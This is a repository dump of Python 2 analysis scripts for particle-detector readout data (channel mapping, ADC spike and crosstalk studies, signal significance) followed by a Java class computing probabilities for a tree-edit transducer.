import sys,os
sqlite_file = 'LArId.db'
inputlist = 'list.txt'
if len(sys.argv)>=2:
sqlite_file = sys.argv[1]
if len(sys.argv)>=3:
inputlist = sys.argv[2]
print "Looking at => Database: %s, inputlist: %s" %(sqlite_file, inputlist)
# Connecting to the database file
conn = sqlite3.connect(sqlite_file)
c = conn.cursor()
c.execute("SELECT distinct DET,AC,QUADRANT,SCNAME,SC_ONL_ID FROM LARID")
## 1. Make dictionary from database
dic = dict()
for row in c:
#print row
key = (row[0],row[1],row[2],row[3])
if key in dic:
dic[key].add(abs(int(row[4])))
else:
dic[key] = abs(int(row[4]))
## 2. get all 4 keys from files
try: mlist=open(inputlist, 'r')
except IOError:
print "Cannot open %s, exit!" %(inputlist)
sys.exit()
for fname in mlist:
fname = fname.strip()
if fname.startswith('#'): continue
print " - Looking at => ", fname
### 2.1 QUADRANT and Detector side, 1 for A and -1 for C
#fname = 'Commissioning_SIMPLEEMB_A_1.txt'
basename = fname.split('/')[-1].replace('.txt', '')
dirf = fname.split('/')[0]
print "basename, dirf:", basename, dirf
logout = open('Mapping/Mapping_'+basename+'.txt', 'w')
try: mfile=open(fname, 'r')
except IOError:
print "Cannot open %s, exit!" %(fname)
sys.exit()
for line in mfile:
line = line.strip()
if 'QuadrantID:' not in line and 'Side:' not in line: continue
elif 'Side:' in line:
if 'A' in line.split(':')[-1]: ac = 1
else: ac = -1
else:
quad = int(line.split(':')[-1])
#print quad
break
if quad==99: quad=3 ## for data in EMF, 99 means 3
mfile.close()
### 2.2 DET now is always 0 for EMB, 1 for EME, 2 for EMH
if 'EMB' in basename: det = 0
elif 'EME' in basename: det = 1
elif 'EMH' in basename: det = 2
omap = dirf+'/data/'+basename+'/mon_mapping.txt'
print "det, ac, quad:", det, ac, quad
### 2.4 from file name, get mapping line by line
try: fmap=open(omap, 'r')
except IOError:
print "Cannot open %s, exit!" %(omap)
sys.exit()
for line in fmap:
line = line.strip()
ch = line.split(':')[0]
name = line.split(':')[1]
### 2.5 build the key
if 'GND' in name:
scid = -999
else:
scname = name.split('_')[1]+'_'+name.split('_')[2]
key = (det,ac,quad,scname)
scid = dic[key]
ch = int(ch)
#print key, scid, ch
oline = '%s %s' %(scid, ch)
logout.write("%s\n" %oline)
logout.close()
<file_sep>/LTDB_scripts/delayrun/data_ana_v2.py
import array
import numpy as np
import sys
import datetime, time
from scipy import stats
import seaborn as sns
from pylab import matplotlib,figure,xlim,savefig,show,legend,plot,subplots,xlabel,ylabel,grid
import pylab as plt
filename=sys.argv[1]
#CHA=1
### Set file name
print filename
data=open(filename,'rb').read()
### change the start sample position and how many samples to analyze
data16_orig=array.array('H', data)
data16_orig.byteswap()
#data16_orig=data16_orig1.byteswap()
np.set_printoptions(formatter={'int':lambda x:'0x{0:04x}'.format(x)})
print "Exact the channel data"
offset=1000
filesize=np.size(data16_orig)
samples=int(filesize)-offset
#samples=20000
start_pt= offset
stop_pt= start_pt+samples
data16_ch=data16_orig[offset:offset+samples]
## process 1 channels
data_ch = np.mod(data16_ch,2**12)
print "Calculate the diff values"
delta_ch=np.diff(data_ch)
## Analyze
print "start to find spikes..."
mean_vec=np.mean(data_ch)
spike_number=0
for i in range(samples):
if abs(data_ch[samples-1-i]- mean_vec) > 8:
#data_ch_A=np.delete(data_ch_A,samples-1-i)
spike_number=spike_number+1
'''
##============== for ef0 only ===============
spike_time=np.zeros(550)
spike_point=np.zeros(550)
spike_number_A=0
nlarge=0
for i in range(samples):
if abs(data_ch_A[i]-3824)>15:
spike_point[spike_number_A]=i
if spike_number_A==0:
spike_time[spike_number_A]=i
if spike_number_A!=0:
spike_time[spike_number_A]=i-spike_point[spike_number_A-1]
# if spike_time[spike_number_A]<2:
# spike_time[spike_number_A]=-1
spike_number_A=spike_number_A+1
'''
print "done"
print "------------------------"
print ("Number of spikes: %d" %(spike_number))
print "------------------------"
print ("Total number of samples: %d" %(samples))
print "------------------------"
print "begin plotting..."
f=figure(0)
ax = f.add_subplot(111)
ax.plot(data_ch[0:10000], 'r')
ax.set_ylabel('ADC data')
ax.set_xlabel('Samples')
### TODO: plot fft
'''
figure(1)
n=10000
data_fft = np.fft.fft(data_ch_A)
data_fft = data_fft[range(n/2)]
freq=np.fft.fftfreq(n,0.025)
freq=freq[range(n/2)]
#print(freq)
plt.plot(freq[1:n/2],abs(data_fft[1:n/2]))
xlabel('f (MHz)')
ylabel('ADC data')
matplotlib.style.use('ggplot')
f, ax = subplots(2,1,sharex=True)
ax[0].plot(data_ch_A[0:1000000],'.r',label='Data_CH1')
ax[1].plot(delta_ch_A[0:1000000],'.g',label='Delta_CH1')
ax[0].legend(loc=0,fontsize=12)
ax[1].legend(loc=0,fontsize=12)
ax[0].set_ylabel('ADC data')
ax[1].set_ylabel('Delta data')
ax[1].set_xlabel('Samples')
#ax.savefig("histo_points.pdf", format='pdf')
## ================== for efo partern calculate the interval of spikes ============
figure(1)
#sns.distplot(spike_time, bins=20, kde=False);
plt.hist(spike_time, bins=20, log=True);
plt.xlabel("Time of interval between two spikes [sample]")
plt.ylabel("Number of spikes")
#plt.semilogy()
#plt.title(r'Histogram of Pedestal: $\mu=%f$, $\sigma=%f$' % (mu, sigma))
#plt.text(max_mean-0.1*(max_mean-min_mean), 1.1/(max_mean-min_mean), '$\mu=$' + str(mu))
plt.text(2500000, 100, 'Total number of spikes: 545')
plt.savefig("spike_time.png", format='pdf')
'''
show()
<file_sep>/calEff.py
#!/usr/bin/env python
import array
import sys,os
import glob
from math import sqrt,fabs,sin,log
from ROOT import TFile,TTree,TChain,TBranch,TH1,TH1F,TList
from ROOT import TLorentzVector,TGraphAsymmErrors,TMath
from ROOT import THStack,TCanvas,TLegend,TColor,TPaveText,TPad
from ROOT import gStyle,gDirectory
from ROOT import Double
from array import array
###################
## Main Function ##
###################
if __name__ == "__main__":
#cuts=["cut", "bdt", "bdtg", "dnn"]
cuts=["DNN2020", "DNN2019"]
channels=["ggF_em", "ggF_4e", "ggF_4m", "ggF_bk", "VBF"]
hist_signif_ggH={}
hist_signif_VBFH={}
hist_eff_ggH={}
hist_eff_VBFH={}
hist_eff_bkg={}
tfout=TFile.Open("significance.root", 'RECREATE')
#tfout=TFile.Open("eff_signif_dnn.root", 'RECREATE')
for ic,cut in enumerate(cuts):
hist_signif_ggH[cut]={}
hist_signif_VBFH[cut]={}
hist_eff_ggH[cut]={}
hist_eff_VBFH[cut]={}
hist_eff_bkg[cut]={}
for j,ch in enumerate(channels):
hname = "Significance_ggH_%s_%s" %(cut, ch)
hist=TH1F(hname, hname, 6, 0, 6)
hist.SetDirectory(tfout)
hist.Sumw2()
hist_signif_ggH[cut][ch]=hist
hname = "Significance_VBFH_%s_%s" %(cut, ch)
hist=TH1F(hname, hname, 6, 0, 6)
hist.SetDirectory(tfout)
hist.Sumw2()
hist_signif_VBFH[cut][ch]=hist
hname = "Eff_ggH_%s_%s" %(cut, ch)
hist=TH1F(hname, hname, 6, 0, 6)
hist.SetDirectory(tfout)
hist.Sumw2()
hist_eff_ggH[cut][ch]=hist
hname = "Eff_VBFH_%s_%s" %(cut, ch)
hist=TH1F(hname, hname, 6, 0, 6)
hist.SetDirectory(tfout)
hist.Sumw2()
hist_eff_VBFH[cut][ch]=hist
hname = "Eff_bkg_%s_%s" %(cut, ch)
hist=TH1F(hname, hname, 6, 0, 6)
hist.SetDirectory(tfout)
hist.Sumw2()
hist_eff_bkg[cut][ch]=hist
for ic,cut in enumerate(cuts):
## read the histograms
path=cut+"_200/Sum"
f_qqZZ=TFile.Open(path+"/nominal_qqZZ.root")
f_qqZZEW=TFile.Open(path+"/nominal_qqZZEW.root")
f_ggZZ=TFile.Open(path+"/nominal_ggZZ.root")
f_ggH=TFile.Open(path+"/nominal_ggF.root")
f_VBFH=TFile.Open(path+"/nominal_VBF.root")
h_qqZZ_all = f_qqZZ.Get("yield_all")
h_qqZZEW_all = f_qqZZEW.Get("yield_all")
h_ggZZ_all = f_ggZZ.Get("yield_all")
h_ggH_all = f_ggH.Get("yield_all")
h_VBFH_all = f_VBFH.Get("yield_all")
h_bkg_all = h_qqZZ_all.Clone()
h_bkg_all.Add(h_ggZZ_all)
h_bkg_all.Add(h_qqZZEW_all)
for j,ch in enumerate(channels):
hname = "yield_"+ch
h_qqZZ = f_qqZZ.Get(hname)
h_qqZZEW = f_qqZZEW.Get(hname)
h_ggZZ = f_ggZZ.Get(hname)
h_ggH = f_ggH.Get(hname)
h_VBFH = f_VBFH.Get(hname)
h_bkg = h_qqZZ.Clone()
h_bkg.Add(h_ggZZ)
h_bkg.Add(h_qqZZEW)
nbins = h_qqZZ.GetNbinsX()
for i in range(nbins):
nsig1 = h_ggH.GetBinContent(i+1)
nsig2 = h_VBFH.GetBinContent(i+1)
nbkg = h_bkg.GetBinContent(i+1)
print i, nbkg
eff_bkg = nbkg/h_bkg_all.GetBinContent(i+1)
eff1 = nsig1/h_ggH_all.GetBinContent(i+1)
eff2 = nsig2/h_VBFH_all.GetBinContent(i+1)
if nbkg > 0:
#signif1 = nsig1/sqrt(nbkg)
#signif2 = nsig2/sqrt(nbkg)
signif3 = sqrt( 2*((nsig1+nbkg)*log(1+nsig1/nbkg)-nsig1) )
signif4 = sqrt( 2*((nsig2+nbkg)*log(1+nsig2/nbkg)-nsig2) )
else:
signif3 = 0
signif4 = 0
hist_signif_ggH[cut][ch].SetBinContent(i+1, signif3)
hist_signif_VBFH[cut][ch].SetBinContent(i+1, signif4)
hist_eff_ggH[cut][ch].SetBinContent(i+1, eff1)
hist_eff_VBFH[cut][ch].SetBinContent(i+1, eff2)
hist_eff_bkg[cut][ch].SetBinContent(i+1, eff_bkg)
tfout.Write()
<file_sep>/replaceMass.py
#!/usr/bin/python
#####
# <NAME>, Mar. 2020
#####
import sys,os
import glob
from math import sqrt
from itertools import izip
def make_comb(masses=[]):
infile = "combination_LWA.xml"
for m in masses:
print "Looking at => %s" %(m)
try:f=open(infile, "r")
except IOError:
print "Error:input file could not be opened! "
sys.exit(1)
logout=open("combination_mH%s.xml"%m, 'w+')
for line in f:
line = line.strip()
if 'mass' in line:
oline = line.replace('mass', m)
else: oline = line
logout.write("%s\n" %oline)
f.close()
logout.close()
if __name__ == '__main__':
masses = ["400", "420", "440", "460", "480", "500", "520", "540", "560", "580", "600", "620", "640", "660", "680", "700", "720", "740", "760", "780", "800", "820", "840", "860", "880", "900", "920", "940", "960", "980", "1000", "1100", "1200", "1300", "1400", "1500", "1600", "1700", "1800", "1900", "2000"]
make_comb(masses)
<file_sep>/LTDB_scripts/crosstalk/calCorrelation.py
import array, sys
import numpy as np
import numpy.fft
import datetime, time
import matplotlib.pyplot as plt
from pylab import matplotlib,figure,xlim,savefig,show,legend,plot,subplots,xlabel,ylabel,grid
data128_CH0=np.reshape(np.zeros(15*128),(-1,128))
data128_CH1=np.reshape(np.zeros(15*128),(-1,128))
maxpos=[15,15,15,15,15,15,15,15,15,15,15,15,15,15,14,14,14,14]
CH0 = 2
#CH1 = 3
#for CH1 in range(8):
for CH1 in range(4):
print ("Check=> CH", CH0, CH1)
for ph in range(15):
filename0="./phase"+str(ph)+"/ADC_CH"+str(CH0+1)+".bin"
filename1="./phase"+str(ph)+"/ADC_CH"+str(CH1+1)+".bin"
data0=open(filename0,'rb').read(50000)
data1=open(filename1,'rb').read(50000)
data16_orig0=array.array('H', data0)
data16_orig0.byteswap()
data16_orig1=array.array('H', data1)
data16_orig1.byteswap()
offset=1000
samples=20480
data_CH0=data16_orig0[offset:offset+samples]
data_CH0=np.mod(data_CH0,2**12)
data_channel0= np.transpose(np.reshape(data_CH0,(-1,128)))
data_CH1=data16_orig1[offset:offset+samples]
data_CH1=np.mod(data_CH1,2**12)
data_channel1= np.transpose(np.reshape(data_CH1,(-1,128)))
mean_val0=np.zeros(128)
mean_val1=np.zeros(128)
for i in range(128):
mean_val0[i]=np.mean(data_channel0[i])
for i in range(128):
for j in range(int(samples/128)):
if abs(data_channel0[i][j]-mean_val0[i])>8:
data_channel0[i][j]=mean_val0[i]
for i in range(128):
mean_val0[i]=np.mean(data_channel0[i])
for i in range(128):
mean_val1[i]=np.mean(data_channel1[i])
for i in range(128):
for j in range(int(samples/128)):
if abs(data_channel1[i][j]-mean_val1[i])>8:
data_channel1[i][j]=mean_val1[i]
for i in range(128):
mean_val1[i]=np.mean(data_channel1[i])
shift=maxpos[ph]-np.argmax(mean_val0)
data128_CH0[ph]=np.roll(mean_val0,shift)
data128_CH1[ph]=np.roll(mean_val1,shift)
dataall0=np.reshape(np.transpose(data128_CH0),(-1,1))
dataall1=np.reshape(np.transpose(data128_CH1),(-1,1))
datanew0=[]
datanew1=[]
for i in range(1000,1500):
datanew0.extend(dataall0[i])
datanew1.extend(dataall1[i])
Cov = np.cov(datanew0,datanew1)
#std0 = np.std(dataall0[1000:1500])
#std1 = np.std(dataall1[1000:1500])
std0 = np.std(datanew0)
std1 = np.std(datanew1)
Corr = np.corrcoef(datanew0,datanew1)
print (Cov[0][1])
print (Corr[0][1])
print (std0)
print (std1)
<file_sep>/LTDB_scripts/crosstalk/del_proc.py
import array, sys
import numpy as np
import numpy.fft
import datetime, time
import matplotlib.pyplot as plt
import seaborn as sns
from scipy import stats
from pylab import matplotlib,figure,xlim,savefig,show,legend,plot,subplots,xlabel,ylabel,grid
data128=np.reshape(np.zeros(15*128),(-1,128))
shift=np.zeros(15)
peaktime0=np.zeros(320)
amp0=np.zeros(320)
baseline=np.zeros(320)
inCH=149
for CH in range(320):
pos_shift=50
pos_shift_final=0
mean_val=[[0 for col in range(128)] for row in range(15)]
std_val=[[0 for col in range(128)] for row in range(15)]
mean_val_shift=[[0 for col in range(128)] for row in range(15)]
std_val_shift=[[0 for col in range(128)] for row in range(15)]
if CH!=-1:
print("Check=> CH", CH)
for ph in range(15):
filename="./Group3_ADC38_Ch2/Phase"+str(14-ph)+"/ADC_CH"+str(CH+1)+".bin"
data=open(filename,'rb').read()
data16_orig=array.array('H', data)
data16_orig.byteswap()
offset=0
filesize=np.size(data16_orig)
#samples=int(filesize)-offset
samples=20480
data16=data16_orig[offset:offset+samples]
data16=np.mod(data16,2**12)
data_channel= np.transpose(np.reshape(data16,(-1,128)))
for i in range(128):
mean_val[ph][i]=np.mean(data_channel[i])
for i in range(128):
for j in range(int(samples/128)):
if abs(data_channel[i][j]-mean_val[ph][i])>8:
data_channel[i][j]=mean_val[ph][i]
for i in range(128):
mean_val[ph][i]=np.mean(data_channel[i])
std_val[ph][i]=np.std(data_channel[i])
##================= self combination ===========================
a_max_position=np.argmax(mean_val)
a_delay_max=int(a_max_position/128) #this delay should be consider as delay 0
a_max=[0 for col in range(15)]
a_small=[0 for col in range(15)]
for m in range(0, 15):
a_max[m]=np.argmax(mean_val[m])
if a_max[m]!=0 and a_max[m]!=127:
a_small[m]=min(abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]),abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1]))
elif a_max[m]==0:
a_small[m]=min(abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]),abs(mean_val[m][a_max[m]]-mean_val[m][127]))
elif a_max[m]==127:
a_small[m]=min(abs(mean_val[m][a_max[m]]-mean_val[m][0]),abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1]))
a_delay_min=np.argmin(a_small)
for m in range(0, 15):
biggest=a_max[m]
if a_delay_max>a_delay_min:
if m<=a_delay_max:
if m>a_delay_min:
pos_shift_final=pos_shift
elif m==a_delay_min:
if a_max[m]!=0 and a_max[m]!=127:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1])
elif a_max[m]==0:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][127])
elif a_max[m]==127:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][0]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1])
#if abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1]):
if isPass:
pos_shift_final=pos_shift-1
else:
pos_shift_final=pos_shift
else:
pos_shift_final=pos_shift-1
else:
pos_shift_final=pos_shift-1
else:
if m>a_delay_max:
if m<a_delay_min:
test=1
pos_shift_final=pos_shift-1
elif m==a_delay_min:
#if abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1]):
if a_max[m]!=0 and a_max[m]!=127:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1])
elif a_max[m]==0:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]+1]) < abs(mean_val[m][a_max[m]]-mean_val[m][127])
elif a_max[m]==127:
isPass=abs(mean_val[m][a_max[m]]-mean_val[m][0]) < abs(mean_val[m][a_max[m]]-mean_val[m][a_max[m]-1])
if isPass:
pos_shift_final=pos_shift-1
else:
pos_shift_final=pos_shift
else:
pos_shift_final=pos_shift
else:
pos_shift_final=pos_shift
#print(pos_shift_final)
#print(a_delay_max, a_delay_min, m)
if biggest>pos_shift_final:
mean_val_shift[m][0:pos_shift_final+1]=mean_val[m][biggest-pos_shift_final:biggest+1]
mean_val_shift[m][pos_shift_final+1:128+pos_shift_final-biggest]=mean_val[m][biggest+1:128]
mean_val_shift[m][128+pos_shift_final-biggest:128]=mean_val[m][0:biggest-pos_shift_final]
std_val_shift[m][0:pos_shift_final+1]=std_val[m][biggest-pos_shift_final:biggest+1]
std_val_shift[m][pos_shift_final+1:128+pos_shift_final-biggest]=std_val[m][biggest+1:128]
std_val_shift[m][128+pos_shift_final-biggest:128]=std_val[m][0:biggest-pos_shift_final]
elif biggest<pos_shift_final:
mean_val_shift[m][pos_shift_final:128]=mean_val[m][biggest:biggest+128-pos_shift_final]
mean_val_shift[m][0:pos_shift_final-biggest]=mean_val[m][biggest+128-pos_shift_final:128]
mean_val_shift[m][pos_shift_final-biggest:pos_shift_final]=mean_val[m][0:biggest]
std_val_shift[m][pos_shift_final:128]=std_val[m][biggest:biggest+128-pos_shift_final]
std_val_shift[m][0:pos_shift_final-biggest]=std_val[m][biggest+128-pos_shift_final:128]
std_val_shift[m][pos_shift_final-biggest:pos_shift_final]=std_val[m][0:biggest]
else:
mean_val_shift[m]=mean_val[m]
data_shift=np.reshape(np.transpose(np.array([mean_val_shift[a_delay_max],mean_val_shift[np.mod(a_delay_max-1,15)],\
mean_val_shift[np.mod(a_delay_max-2,15)],mean_val_shift[np.mod(a_delay_max-3,15)],\
mean_val_shift[np.mod(a_delay_max-4,15)],mean_val_shift[np.mod(a_delay_max-5,15)],\
mean_val_shift[np.mod(a_delay_max-6,15)],mean_val_shift[np.mod(a_delay_max-7,15)],\
mean_val_shift[np.mod(a_delay_max-8,15)],mean_val_shift[np.mod(a_delay_max-9,15)],\
mean_val_shift[np.mod(a_delay_max-10,15)],mean_val_shift[np.mod(a_delay_max-11,15)],\
mean_val_shift[np.mod(a_delay_max-12,15)],mean_val_shift[np.mod(a_delay_max-13,15)],\
mean_val_shift[np.mod(a_delay_max-14,15)]])),128*15)
std_shift=np.reshape(np.transpose(np.array([std_val_shift[a_delay_max],std_val_shift[np.mod(a_delay_max-1,15)],\
std_val_shift[np.mod(a_delay_max-2,15)],std_val_shift[np.mod(a_delay_max-3,15)],\
std_val_shift[np.mod(a_delay_max-4,15)],std_val_shift[np.mod(a_delay_max-5,15)],\
std_val_shift[np.mod(a_delay_max-6,15)],std_val_shift[np.mod(a_delay_max-7,15)],\
std_val_shift[np.mod(a_delay_max-8,15)],std_val_shift[np.mod(a_delay_max-9,15)],\
std_val_shift[np.mod(a_delay_max-10,15)],std_val_shift[np.mod(a_delay_max-11,15)],\
std_val_shift[np.mod(a_delay_max-12,15)],std_val_shift[np.mod(a_delay_max-13,15)],\
std_val_shift[np.mod(a_delay_max-14,15)]])),128*15)
## ===================================== end of combination =============================
### calculation of peaking time and amplitude for CH0
baseline[CH]=np.mean(data_shift[0:500])
baseline0=np.mean(data_shift[0:500])
#maxvalue0=np.max(data_shift)
maxpoint0=np.argmax(data_shift)
xmax=[maxpoint0-1, maxpoint0, maxpoint0+1]
P1=np.polyfit(xmax, data_shift[maxpoint0-1:maxpoint0+2],2)
#print P1
maxvalue0=float((4*P1[0]*P1[2]-P1[1]*P1[1])/(4*P1[0]))
endpoint0=float(-1*P1[1]/(2*P1[0]))
value0p5=float(baseline0+0.05*(maxvalue0-baseline0))
for i in range(1920):
if data_shift[i] >= value0p5:
minpoint0=i
break
xmin=[minpoint0-1,minpoint0]
P2=np.polyfit(xmin, data_shift[minpoint0-1:minpoint0+1],1)
#print P2
startpoint0=float((value0p5-P2[1])/P2[0])
peaktime0[CH] = (endpoint0-startpoint0)*24.95/15
amp0[CH] = (maxvalue0-baseline0)
#print("Peaking time of CH%s: %f" %(CH, peaktime0))
#print("Amplitude of CH%s: %f" %(CH, amp0))
#print("Crosstalk of CH%s: %f" %(CH, amp0/1314.3085))
for CH in range(320):
crosstalk[CH] = amp0[CH]/amp0[inCH]*100
matplotlib.style.use('ggplot')
'''
f=figure(CH)
ax = f.add_subplot(111)
if CH%16>=0 and CH%16<4: ax.plot(dataall, 'b')
if CH%16>=4 and CH%16<8: ax.plot(dataall, 'g')
if CH%16>=8 and CH%16<12: ax.plot(dataall, 'r')
if CH%16>=12 and CH%16<16: ax.plot(dataall, 'y')
ax.set_ylabel('ADC data')
ax.set_xlabel('Samples/600MHz')
#if CH!= 20: ax.set_ylim([530,550])
ax.set_xlim([0,128*15])
#f.savefig("crosstalk_"+str(CH)+".png", format='png')
'''
## for crosstalk of 320 channels
matplotlib.style.use('ggplot')
f=figure(100)
ax = f.add_subplot(211)
if CH==inCH: ax.semilogy(CH, crosstalk[CH], '.r')
else: ax.semilogy(CH, crosstalk[CH], '.g')
#if CH!=20: ax.plot(CH, crosstalk[CH], '.g')
ax.set_ylabel('Percentage of crosstalk (%)')
ax.set_xlabel('Channel Number / 600MHz')
ax.set_xlim([0,320])
print (crosstalk)
min_ct = np.min(crosstalk)
max_ct = np.max(crosstalk)
mean_ct = np.mean(crosstalk)
print ([min_ct, max_ct, (mean_ct*320.-crosstalk[inCH])/319.])
show()
|
8833ed0157accac531489bae52522e12ed46d5e3
|
[
"Markdown",
"Python"
] | 24 |
Markdown
|
zhuhel/scripts_backup
|
5e464910e57e00eb1ace66165e289b235b861ba0
|
7febd6dca731089d3b24cbd1baec4dbab3c64de0
|
refs/heads/master
|
<repo_name>mantask/thesis-wrapper<file_sep>/src/main/java/lt/kanaporis/thesis/changemodel/ProbabilisticTransducer.java
package lt.kanaporis.thesis.changemodel;
import lt.kanaporis.thesis.Config;
import lt.kanaporis.thesis.tree.Forest;
import lt.kanaporis.thesis.tree.Node;
import lt.kanaporis.thesis.tree.PostOrderNavigator;
import lt.kanaporis.thesis.tree.Tree;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
public class ProbabilisticTransducer {
private final ProbabilisticChangeModel changeModel;
public ProbabilisticTransducer(ProbabilisticChangeModel changeModel) {
this.changeModel = changeModel;
}
/**
* A random process that makes one pass over the whole forest and at each position,
* it randomly decides to either delete a node, change its label, or insert new nodes.
*/
public Forest transform(Forest forest) {
Forest transformedForest = new Forest();
for (Tree tree : forest.trees()) {
transformedForest = transformedForest.add(transformByDeleteAndSubstitute(tree));
}
return transformByInsert(transformedForest);
}
/**
* The process π_ins takes a forest and performs a set of random inserts at the root level.
*/
private Forest transformByInsert(Forest f) {
if (Math.random() < changeModel.stopProb()) {
return f;
} else {
return transformByInsert(insertRandomRoot(f));
}
}
/**
* An insert operation that adds a node at the top of the forest chosen randomly from all such operations.
* Copy first trees, add a new root to middle trees, and copy last trees.
*/
private Forest insertRandomRoot(Forest forest) {
int length = forest.trees().size();
int fromIx = new Double(Math.random() * length - 1).intValue();
int thruIx = fromIx + new Double(Math.random() * (length - fromIx - 1)).intValue();
List<Tree> transformedTrees = new ArrayList<>();
transformedTrees.addAll(forest.trees().subList(0, fromIx));
transformedTrees.add(new Tree(
Node.elem(changeModel.randomLabel()), // new random root
forest.trees().subList(fromIx, thruIx).toArray(new Tree[] {}))); // sub-forest as children
transformedTrees.addAll(forest.trees().subList(thruIx, length));
return new Forest(transformedTrees);
}
/**
* The process π_ds takes a tree and transforms it into a forest. It either deletes the root
* of the tree or changes its label and then recursively transforms the subtreees of the tree.
*/
private Forest transformByDeleteAndSubstitute(Tree tree) {
if (Math.random() < changeModel.delProb(tree.root().label())) {
Forest f = new Forest();
for (Tree subtree : tree.children()) {
f = f.add(transformByDeleteAndSubstitute(subtree));
}
return f;
} else {
return new Forest(new Tree(
Node.elem(changeModel.randomLabel()), // random root
transform(new Forest(tree.children()))));
}
}
// -------------------------------------------------------------
/**
* Convenience method
*/
public double prob(Tree origTree, Tree transTree, TransformationProbabilities probs) {
return prob(new Forest(origTree), new Forest(transTree), probs);
}
public double prob(Tree origTree, Tree transTree) {
return prob(origTree, transTree, null);
}
/**
* Convenience method
*/
public double prob(Tree origTree, Forest transForest, TransformationProbabilities probs) {
return prob(new Forest(origTree), transForest, probs);
}
public double prob(Tree origTree, Forest transForest) {
return prob(origTree, transForest, null);
}
/**
* Convenience method
*/
public double prob(Forest origForest, Tree transTree, TransformationProbabilities probs) {
return prob(origForest, new Forest(transTree), probs);
}
public double prob(Forest origForest, Tree transTree) {
return prob(origForest, transTree, null);
}
/**
* Calculates the prob of transforming a forest f1 into a forest f2, given insertion,
* deletion and substitution operations and their probabilities, i.e. change model.
*
* Implements function DP_1(F_s, F_t), which calculates prob that P_θ(T|S), i.e.
* that π(F_s) = F_t.
*
* DP_1(F_s, F_t) = DP_2(F_s, F_t) +
* P_ins(v) × DP_1(F_s, F_t - v)
*
* @param origForest Original tree.
* @param transForest Transformed tree.
* @return Probability of transforming original tree into transformed one. Result in the range of [0..1].
*/
public double prob(Forest origForest, Forest transForest, TransformationProbabilities probs) {
if (transForest.empty()) {
return probWhenAllNodesWereDel(origForest);
}
if (substantiallyDifferent(origForest, transForest)) {
return 0.0;
}
// TODO add Special Forest Optimization by Zhang and Shasha [edit dist trees]
// TODO record Prob2[origForest][transForest] when origForest.isTree() & transForest.isTree() for ProbabilisticWrapper
// TODO somehow record Prob1[origForest][transForest], ie how do we tell by the forest the prefix?
double prob = probWhenLastTreeRootWasSub(origForest, transForest) +
probWhenLastTreeRootWasIns(origForest, transForest);
// record probabilities
if (probs != null) {
probs.put(origForest.toString(), transForest.toString(), prob);
}
return prob;
}
/**
* Checks if optimization for similar trees can be applied.
*/
private boolean substantiallyDifferent(Forest origForest, Forest transForest) {
return Config.ENABLE_OPTIMIZATION_FOR_SIMILAR_TREES &&
origForest.trees().size() == 1 &&
transForest.trees().size() == 1 &&
origForest.tree(0).substantiallyDifferentFrom(transForest.tree(0));
}
public double prob(Forest origForest, Forest transForest) {
return prob(origForest, transForest, null);
}
/**
* All nodes in the forest were deleted and then stopped.
*/
private double probWhenAllNodesWereDel(Forest forest) {
double prob = changeModel.stopProb();
for (Tree tree : forest.trees()) {
for (Tree node : PostOrderNavigator.sort(tree)) {
prob *= changeModel.delProb(node.root().label());
}
}
return prob;
}
/**
* v in F_t was inserted and other trees were transformed:
* P_ins(v) × DP_1(F_s, F_t - v)
*/
private double probWhenLastTreeRootWasIns(Forest origForest, Forest transForest) {
return changeModel.insProb(transForest.rightmostTree().root().label()) *
prob(origForest, transForest.removeRightmostRoot());
}
/**
* Calculates the prob of transforming a tree f1 into a tree f2, given insertion,
* deletion and substitution operations and their probabilities, i.e. change model.
*
* Implements function DP_2(F_s, F_t), which calculates prob that P_θ(T|S) when
* the last tree root v of forest T was substituted, i.e. that π(F_s) = F_t and v was generated
* by substitution under π.
*
* DP_2(F_s, F_t) = P_sub(u, v) × DP_1(F_2 - [u], F_t - [v]) × DP_1(⌊u⌋, ⌊v⌋) +
* P_del(u) × DP_2(F_s - u, F_t)
*
* @param f1 Original tree.
* @param f2 Transformed tree.
* @return Probability of transforming original tree into transformed one. Result in the range of [0..1].
*/
public double probWhenLastTreeRootWasSub(Forest origForest, Forest transForest) {
// there is no node in an empty tree, that can be substituted
if (origForest.empty()) {
return 0;
}
return probWhenRightmostRootsWereSub(origForest, transForest) +
probWhenRightmostRootWasSubByNonRoot(origForest, transForest);
}
/**
* The root u in F_s was deleted and v in F_t was substituted:
* P_del(u) × DP_2(F_s - u, F_t)
*/
private double probWhenRightmostRootWasSubByNonRoot(Forest origForest, Forest transForest) {
return changeModel.delProb(origForest.rightmostTree().root().label()) *
probWhenLastTreeRootWasSub(origForest.removeRightmostRoot(), transForest);
}
/**
* (1) u in F_s was substituted with v in F_t, (2) subtrees under u and v were transformed,
* and (3) other trees in F_s and F_t were also transformed:
* P_sub(u, v) × DP_1(F_2 - [u], F_t - [v]) × DP_1(⌊u⌋, ⌊v⌋)
*/
private double probWhenRightmostRootsWereSub(Forest origForest, Forest transForest) {
return changeModel.subProb(
origForest.rightmostTree().root().label(),
transForest.rightmostTree().root().label()) *
prob(origForest.removeRightmostTree(), transForest.removeRightmostTree()) *
prob(origForest.rightmostTree().subforest(), transForest.rightmostTree().subforest());
}
// ------------------------------------------------------------------------
public ProbabilisticChangeModel getChangeModel() {
return changeModel;
}
}
<file_sep>/README.md
# Summary
